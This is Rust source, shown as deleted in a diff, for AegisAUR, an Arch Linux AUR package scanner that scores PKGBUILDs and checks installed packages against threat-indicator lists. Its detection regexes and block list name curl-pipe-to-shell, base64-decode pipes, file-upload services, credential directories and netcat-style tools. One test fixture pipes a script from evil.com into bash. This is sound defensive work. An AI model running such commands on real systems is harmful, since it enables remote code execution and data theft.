let mut warnings: Vec<String> = score.warnings.into_iter().collect();
let critical_findings: Vec<String> = score
.critical_findings
.into_iter()
.map(|c| format!("{:?}", c))
.collect();
// IOC-Warnungen hinzufügen
let ioc_strings: Vec<String> = ioc_matches
.iter()
.map(|ioc| format!("{}: {} ({})", ioc.threat_type, ioc.description, ioc.confidence))
.collect();
warnings.extend(ioc_strings.clone());
let status = Self::calculate_status(score.overall, !ioc_matches.is_empty(), !critical_findings.is_empty());
ScanResult {
package: package.to_string(),
version: aur_info.as_ref().and_then(|i| Some(i.version.clone())).unwrap_or_default(),
score: score.overall,
max_score: 100,
status,
warnings,
critical_findings,
ioc_matches: ioc_strings,
details: Some(ScanDetails {
source_url: aur_info.as_ref().and_then(|i| i.url.clone()),
maintainer: aur_info.as_ref().and_then(|i| i.maintainer.clone()),
votes: aur_info.as_ref().and_then(|i| Some(i.num_votes)),
popularity: aur_info.as_ref().and_then(|i| Some(i.popularity)),
last_modified: None,
out_of_date: aur_info.as_ref().map(|i| i.out_of_date.is_some()).unwrap_or(false),
is_orphaned: aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true),
pkgbuild_raw: if verbose { pkgbuild_raw } else { None },
}),
}
} else {
// Fallback: Installiertes Paket analysieren
let installed_info = self.get_installed_info(package).await?;
let score = self.trust_scorer.check_installed_package(&installed_info);
let ioc_strings: Vec<String> = ioc_matches
.iter()
.map(|ioc| format!("{}: {}", ioc.threat_type, ioc.description))
.collect();
ScanResult {
package: package.to_string(),
version: self.extract_version(&installed_info).unwrap_or_default(),
score: score.overall,
max_score: 100,
status: Self::calculate_status(score.overall, !ioc_matches.is_empty(), false),
warnings: score.warnings.into_iter().chain(ioc_strings.clone()).collect(),
critical_findings: vec![],
ioc_matches: ioc_strings,
details: None,
}
};
Ok(result)
}
/// Scannt alle installierten AUR-Pakete
pub async fn scan_all_installed(
&self,
verbose: bool,
) -> Result<Vec<ScanResult>> {
info!("Scanne alle installierten AUR-Pakete...");
let foreign_packages = self.get_foreign_packages().await?;
let mut results = Vec::with_capacity(foreign_packages.len());
for (pkg, _) in foreign_packages {
match self.scan_package(&pkg, verbose).await {
Ok(result) => {
results.push(result);
}
Err(e) => {
warn!("Fehler beim Scannen von {}: {}", pkg, e);
results.push(ScanResult {
package: pkg,
version: String::new(),
score: 0,
max_score: 100,
status: ScanStatus::Unknown,
warnings: vec![format!("Scan fehlgeschlagen: {}", e)],
critical_findings: vec![],
ioc_matches: vec![],
details: None,
});
}
}
}
// Sortiere nach Score (gefährlichste zuerst)
results.sort_by(|a, b| a.score.cmp(&b.score));
Ok(results)
}
/// Prüft gegen aktuelle IOC-Listen
pub async fn check_iocs(&self, list_type: &str) -> Result<Vec<IocThreat>> {
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
let foreign_packages = self.get_foreign_packages().await?;
let mut threats = Vec::new();
for (pkg, _) in foreign_packages {
let matches = self.ioc_fetcher.check_package(&pkg, &iocs);
for ioc in matches {
threats.push(IocThreat {
package: pkg.clone(),
threat_type: format!("{:?}", ioc.threat_type),
source: ioc.source,
confidence: format!("{:?}", ioc.confidence),
action_required: matches!(ioc.confidence, crate::ioc_fetcher::ConfidenceLevel::Critical | crate::ioc_fetcher::ConfidenceLevel::High),
});
}
}
Ok(threats)
}
pub fn allow_package(&mut self, package: &str) -> Result<()> {
self.whitelist.insert(package.to_string());
self.save_whitelist()?;
info!("{} zur Whitelist hinzugefügt", package);
Ok(())
}
pub fn deny_package(&mut self, package: &str) -> Result<()> {
self.whitelist.remove(package);
self.save_whitelist()?;
info!("{} von Whitelist entfernt", package);
Ok(())
}
pub fn config_path(&self) -> Result<PathBuf> {
Ok(self.config.config_path.clone())
}
pub fn cache_path(&self) -> Result<PathBuf> {
Ok(self.cache_dir.clone())
}
pub async fn show_cache_status(&self) -> Result<()> {
println!("{}", "=== AegisAUR Cache Status ===".cyan().bold());
let ioc_count = self.ioc_fetcher.get_cached_iocs().await?.len();
println!("IOC-Einträge im Cache: {}", ioc_count);
let cache_size = self.calculate_cache_size().await?;
println!("Cache-Größe: {:.2} MB", cache_size as f64 / 1024.0 / 1024.0);
println!("Whitelist-Einträge: {}", self.whitelist.len());
let last_update = self.get_last_cache_update().await?;
println!("Letzte Aktualisierung: {}", last_update.unwrap_or_else(|| "Unbekannt".to_string()));
Ok(())
}
// --- Hilfsmethoden ---
async fn fetch_aur_info(&self, package: &str) -> Result<Option<AurPackageInfo>> {
let url = format!(
"https://aur.archlinux.org/rpc/v5/info?arg[]={}",
package
);
let response = reqwest::get(&url).await?;
if !response.status().is_success() {
return Ok(None);
}
let rpc_response: AurRpcResponse = response.json().await?;
if rpc_response.resultcount == 0 || rpc_response.results.is_empty() {
return Ok(None);
}
Ok(Some(rpc_response.results[0].clone()))
}
async fn fetch_pkgbuild(&self, package: &str, url_path: &str) -> Result<String> {
let base_url = "https://aur.archlinux.org";
let pkgbuild_url = format!("{}/{}/plain/PKGBUILD", base_url, url_path);
let response = reqwest::get(&pkgbuild_url).await?;
if !response.status().is_success() {
anyhow::bail!("Konnte PKGBUILD nicht laden: HTTP {}", response.status());
}
response.text().await.context("Konnte PKGBUILD nicht lesen")
}
async fn get_foreign_packages(&self) -> Result<Vec<(String, String)>> {
let output = Command::new("pacman")
.args(["-Qm"])
.output()
.await
.context("Konnte pacman nicht ausführen")?;
if !output.status.success() {
anyhow::bail!("pacman -Qm fehlgeschlagen");
}
let stdout = String::from_utf8(output.stdout)?;
let mut packages = Vec::new();
for line in stdout.lines() {
let parts: Vec<&str> = line.split_whitespace().collect();
if parts.len() >= 2 {
packages.push((parts[0].to_string(), parts[1].to_string()));
}
}
Ok(packages)
}
async fn get_installed_info(&self, package: &str) -> Result<String> {
let output = Command::new("pacman")
.args(["-Qi", package])
.output()
.await
.context("Konnte pacman nicht ausführen")?;
Ok(String::from_utf8_lossy(&output.stdout).to_string())
}
fn extract_version(&self, pacman_qi: &str) -> Option<String> {
pacman_qi
.lines()
.find(|l| l.contains("Version"))
.and_then(|l| l.split(':').nth(1))
.map(|s| s.trim().to_string())
}
fn calculate_status(score: u32, has_ioc: bool, has_critical: bool) -> ScanStatus {
if has_ioc {
return ScanStatus::IOCDetected;
}
if has_critical || score < 30 {
return ScanStatus::Dangerous;
}
if score < 50 {
return ScanStatus::Suspicious;
}
if score < 80 {
return ScanStatus::Warning;
}
ScanStatus::Safe
}
fn save_whitelist(&self) -> Result<()> {
let whitelist_path = self.cache_dir.join("whitelist.json");
let json = serde_json::to_string_pretty(&self.whitelist)?;
// Blocking IO für HashSet - in Produktion async machen
std::fs::write(whitelist_path, json)?;
Ok(())
}
async fn calculate_cache_size(&self) -> Result<u64> {
let mut total_size = 0u64;
let mut entries = fs::read_dir(&self.cache_dir).await?;
while let Some(entry) = entries.next_entry().await? {
let metadata = entry.metadata().await?;
if metadata.is_file() {
total_size += metadata.len();
}
}
Ok(total_size)
}
async fn get_last_cache_update(&self) -> Result<Option<String>> {
let cache_file = self.cache_dir.join("iocs.json");
if !cache_file.exists() {
return Ok(None);
}
let metadata = fs::metadata(cache_file).await?;
let modified = metadata.modified()?;
let datetime: chrono::DateTime<chrono::Local> = modified.into();
Ok(Some(datetime.format("%Y-%m-%d %H:%M:%S").to_string()))
}
}
impl ScanResult {
pub fn status_message(&self) -> ColoredString {
match self.status {
ScanStatus::Safe => "SICHER".green().bold(),
ScanStatus::Warning => "WARNUNG".yellow().bold(),
ScanStatus::Suspicious => "VERDÄCHTIG".bright_yellow().bold(),
ScanStatus::Dangerous => "GEFÄHRLICH!".red().bold(),
ScanStatus::IOCDetected => "IOC ERKANNT!".on_red().white().bold(),
ScanStatus::Unknown => "UNBEKANNT".white(),
}
}
}
#[derive(Debug, Clone)]
pub struct IocThreat {
pub package: String,
pub threat_type: String,
pub source: String,
pub confidence: String,
pub action_required: bool,
}
// AUR RPC Response Types
#[derive(Debug, Clone, Serialize, Deserialize)]
struct AurRpcResponse {
#[serde(rename = "resultcount")]
resultcount: u32,
results: Vec<AurPackageInfo>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
struct AurPackageInfo {
#[serde(rename = "Name")]
name: String,
#[serde(rename = "Version")]
version: String,
#[serde(rename = "Description")]
description: Option<String>,
#[serde(rename = "URL")]
url: Option<String>,
#[serde(rename = "URLPath")]
url_path: Option<String>,
#[serde(rename = "Maintainer")]
maintainer: Option<String>,
#[serde(rename = "NumVotes")]
num_votes: u32,
#[serde(rename = "Popularity")]
popularity: f32,
#[serde(rename = "OutOfDate")]
out_of_date: Option<i64>,
}
-401
View File
@@ -1,401 +0,0 @@
use anyhow::{Context, Result};
use regex::Regex;
use std::collections::HashSet;
use std::path::Path;
use tracing::{debug, trace, warn};
/// Score-Kategorien für das Trust-Rating
#[derive(Debug, Clone)]
pub struct TrustScore {
pub overall: u32, // 0-100 (100 = vertrauenswürdig)
pub categories: Vec<ScoreCategory>,
pub warnings: Vec<String>,
pub critical_findings: Vec<CriticalFinding>,
}
#[derive(Debug, Clone)]
pub struct ScoreCategory {
pub name: String,
pub score: u32, // 0-100
pub weight: f32,
pub description: String,
}
#[derive(Debug, Clone)]
pub enum CriticalFinding {
RemoteCodeExecution(String), // Befehl der gefunden wurde
CredentialExfiltration(String),
PersistenceMechanism(String),
ObfuscatedScript(String),
SuspiciousNetworkCall(String),
OrphanTakeover { original: String, new_maintainer: String },
}
/// Konfiguration für Heuristiken
pub struct TrustScorer {
suspicious_patterns: Vec<SuspiciousPattern>,
trusted_domains: HashSet<String>,
blocklisted_commands: Vec<Regex>,
}
struct SuspiciousPattern {
pattern: Regex,
penalty: u32,
description: String,
critical: bool,
}
impl TrustScorer {
pub fn new() -> Result<Self> {
let mut scorer = TrustScorer {
suspicious_patterns: Vec::new(),
trusted_domains: Self::default_trusted_domains(),
blocklisted_commands: Vec::new(),
};
scorer.compile_patterns()?;
Ok(scorer)
}
fn compile_patterns(&mut self) -> Result<()> {
// KRITISCHE PATTERNS (sofortiger Alarm)
let critical_patterns = vec![
// npm/bun install mit verdächtigen Paketen
(r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true),
// Download + Ausführen
(r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true),
(r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true),
// Obfuscation
(r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true),
(r"(?i)eval\s*\$", 90, "Eval mit Variablen", true),
(r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true),
// Netzwerk-Exfiltration
(r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true),
// System-Persistenz
(r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false),
(r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false),
// Browser/Credential-Zugriff
(r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false),
// eBPF
(r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false),
];
for (pattern, penalty, desc, critical) in critical_patterns {
let regex = Regex::new(pattern)
.with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?;
self.suspicious_patterns.push(SuspiciousPattern {
pattern: regex,
penalty,
description: desc.to_string(),
critical,
});
}
// Blockliste von Kommandos (soweit Regex-technisch möglich)
self.blocklisted_commands = vec![
Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(),
Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(),
];
Ok(())
}
fn default_trusted_domains() -> HashSet<String> {
let mut domains = HashSet::new();
domains.insert("github.com".to_string());
domains.insert("gitlab.com".to_string());
domains.insert("salsa.debian.org".to_string());
domains.insert("codeberg.org".to_string());
domains.insert("sourceforge.net".to_string());
domains.insert("kernel.org".to_string());
domains.insert("gnu.org".to_string());
domains.insert("apache.org".to_string());
domains.insert("mozilla.org".to_string());
domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden
domains.insert("crates.io".to_string());
domains.insert("pypi.org".to_string());
domains.insert("archlinux.org".to_string());
domains
}
/// Analysiert einen PKGBUILD-Inhalt
pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore {
let mut score = 100u32;
let mut categories = Vec::new();
let mut warnings = Vec::new();
let mut critical_findings = Vec::new();
// 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script)
let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content);
categories.push(ScoreCategory {
name: "Shell-Script Sicherheit".to_string(),
score: shell_score,
weight: 0.40,
description: "Analyse von PKGBUILD als Shell-Script".to_string(),
});
warnings.extend(shell_warnings);
critical_findings.extend(shell_critical);
score = score.saturating_sub(100 - shell_score);
// 2. Source-URL Verifizierung
let (url_score, url_warnings) = self.analyze_source_url(source_url);
categories.push(ScoreCategory {
name: "Source-URL Vertrauen".to_string(),
score: url_score,
weight: 0.20,
description: "Prüfung der Herkunft des Source-Codes".to_string(),
});
warnings.extend(url_warnings);
score = score.saturating_sub((100 - url_score) / 3);
// 3. Checksum-Qualität
let (checksum_score, checksum_warnings) = self.analyze_checksums(content);
categories.push(ScoreCategory {
name: "Checksum Verifizierung".to_string(),
score: checksum_score,
weight: 0.20,
description: "Qualität und Vollständigkeit der Prüfsummen".to_string(),
});
warnings.extend(checksum_warnings);
score = score.saturating_sub((100 - checksum_score) / 3);
// 4. Maintainer-Heuristiken
let (maint_score, maint_warnings) = self.analyze_maintainer_info(content);
categories.push(ScoreCategory {
name: "Maintainer-Vertrauen".to_string(),
score: maint_score,
weight: 0.20,
description: "Heuristiken zum Maintainer-Account".to_string(),
});
warnings.extend(maint_warnings);
score = score.saturating_sub((100 - maint_score) / 3);
// Gewichteten Score berechnen
let weighted_score: f32 = categories.iter()
.map(|c| c.score as f32 * c.weight)
.sum();
TrustScore {
overall: weighted_score.round() as u32,
categories,
warnings,
critical_findings,
}
}
fn analyze_shell_script(&self, content: &str) -> (u32, Vec<String>, Vec<CriticalFinding>) {
let mut score = 100u32;
let mut warnings = Vec::new();
let mut critical = Vec::new();
for pattern in &self.suspicious_patterns {
if pattern.pattern.is_match(content) {
let captures: Vec<_> = pattern.pattern.find_iter(content).collect();
for cap in captures {
let ctx_start = cap.start().saturating_sub(30);
let ctx_end = (cap.end() + 30).min(content.len());
let context = &content[ctx_start..ctx_end];
let context_clean = context.replace('\n', "\\n");
if pattern.critical {
critical.push(CriticalFinding::RemoteCodeExecution(format!(
"{} (Kontext: ...{}...)",
pattern.description,
context_clean
)));
score = score.saturating_sub(pattern.penalty);
} else {
warnings.push(format!(
"{}: {}",
pattern.description,
context_clean
));
score = score.saturating_sub(pattern.penalty / 2);
}
}
}
}
// Blocklisted Commands
for cmd_regex in &self.blocklisted_commands {
if let Some(mat) = cmd_regex.find(content) {
warnings.push(format!(
"Potentiell gefährlicher Befehl erkannt: {}",
&content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())]
));
score = score.saturating_sub(10);
}
}
// Prozentuale Bewertung
(score.min(100), warnings, critical)
}
fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec<String>) {
let mut score = 100u32;
let mut warnings = Vec::new();
let url = match url {
Some(u) => u,
None => {
warnings.push("Keine Source-URL gefunden".to_string());
return (50, warnings);
}
};
// HTTPS check
if !url.starts_with("https://") {
warnings.push("Source-URL verwendet kein HTTPS".to_string());
score -= 20;
}
// Domain check
let domain = url.split('/').nth(2).unwrap_or("");
let domain_clean = domain.strip_prefix("www.").unwrap_or(domain);
if !self.trusted_domains.contains(domain_clean) {
warnings.push(format!(
"Domain '{}' ist nicht in der Trust-Liste",
domain_clean
));
score -= 15;
}
// URL Shortener / Pastebin checks
if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly")
|| url.contains("t.co") || url.contains("short.link") {
warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string());
score -= 50;
}
(score.max(0), warnings)
}
fn analyze_checksums(&self, content: &str) -> (u32, Vec<String>) {
let mut score = 100u32;
let mut warnings = Vec::new();
// Prüfe auf SHA256/SHA512 (gut)
let has_sha256 = content.contains("sha256sums") || content.contains("sha256");
let has_sha512 = content.contains("sha512sums") || content.contains("sha512");
let has_md5 = content.contains("md5sums") || content.contains("md5");
let has_skip = content.contains("SKIP") || content.contains("skip");
if has_sha256 || has_sha512 {
score += 10;
}
if has_md5 && !has_sha256 && !has_sha512 {
warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string());
score -= 30;
}
if has_skip {
warnings.push("Checksummen werden übersprungen (SKIP)".to_string());
score -= 40;
}
if !has_sha256 && !has_sha512 && !has_md5 && !has_skip {
warnings.push("Keine Checksummen definiert".to_string());
score -= 50;
}
(score.max(0).min(100), warnings)
}
fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec<String>) {
// Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen
// In einer erweiterten Version würde dies die AUR-RPC API nutzen
let mut score = 80u32; // Neutral
let mut warnings = Vec::new();
// Prüfe auf "Contributor" vs "Maintainer"
if !content.contains("# Maintainer:") {
if content.contains("# Contributor:") {
warnings.push("Nur Contributor, kein Maintainer definiert".to_string());
score -= 10;
}
}
(score.max(0).min(100), warnings)
}
/// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar)
pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore {
// Minimale Analyse basierend auf pacman -Qi Ausgabe
let mut warnings = Vec::new();
if pkg_info.contains("AUR") || pkg_info.contains("foreign") {
warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string());
}
TrustScore {
overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD
categories: vec![],
warnings,
critical_findings: vec![],
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_npm_install_detection() {
let scorer = TrustScorer::new().unwrap();
let malicious_pkgbuild = r#"
pkgname=test-malicious
pkgver=1.0
pkgrel=1
build() {
npm install atomic-lockfile
}
"#;
let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None);
assert!(!result.critical_findings.is_empty());
assert!(result.overall < 50);
}
#[test]
fn test_curl_pipe_bash_detection() {
let scorer = TrustScorer::new().unwrap();
let bad_pkgbuild = r#"
pkgname=test-bad
pkgver=1.0
prepare() {
curl -s https://evil.com/install.sh | bash
}
"#;
let result = scorer.analyze_pkgbuild(bad_pkgbuild, None);
assert!(!result.critical_findings.is_empty());
}
#[test]
fn test_legitimate_pkgbuild() {
let scorer = TrustScorer::new().unwrap();
let good_pkgbuild = r#"
pkgname=hello
pkgver=2.12
pkgrel=1
source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz)
sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517')
build() {
cd "$pkgname-$pkgver"
./configure --prefix=/usr
make
}
"#;
let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz"));
assert!(result.overall > 70);
assert!(result.critical_findings.is_empty());
}
}
-28
View File
@@ -1,28 +0,0 @@
use anyhow::Result;
use serde::{Deserialize, Serialize};
use std::path::PathBuf;
/// Gemeinsame Utility-Funktionen
pub fn get_project_dirs() -> Result<directories::ProjectDirs> {
directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
.ok_or_else(|| anyhow::anyhow!("Konnte Projekt-Verzeichnisse nicht ermitteln"))
}
/// Formatiert Bytes als menschenlesbare Größe
pub fn format_bytes(bytes: u64) -> String {
const UNITS: [&str; 6] = ["B", "KB", "MB", "GB", "TB", "PB"];
let mut size = bytes as f64;
let mut unit_index = 0;
while size >= 1024.0 && unit_index < UNITS.len() - 1 {
size /= 1024.0;
unit_index += 1;
}
format!("{:.2} {}", size, UNITS[unit_index])
}
/// Prüft ob ein Befehl verfügbar ist
pub fn command_exists(cmd: &str) -> bool {
which::which(cmd).is_ok()
}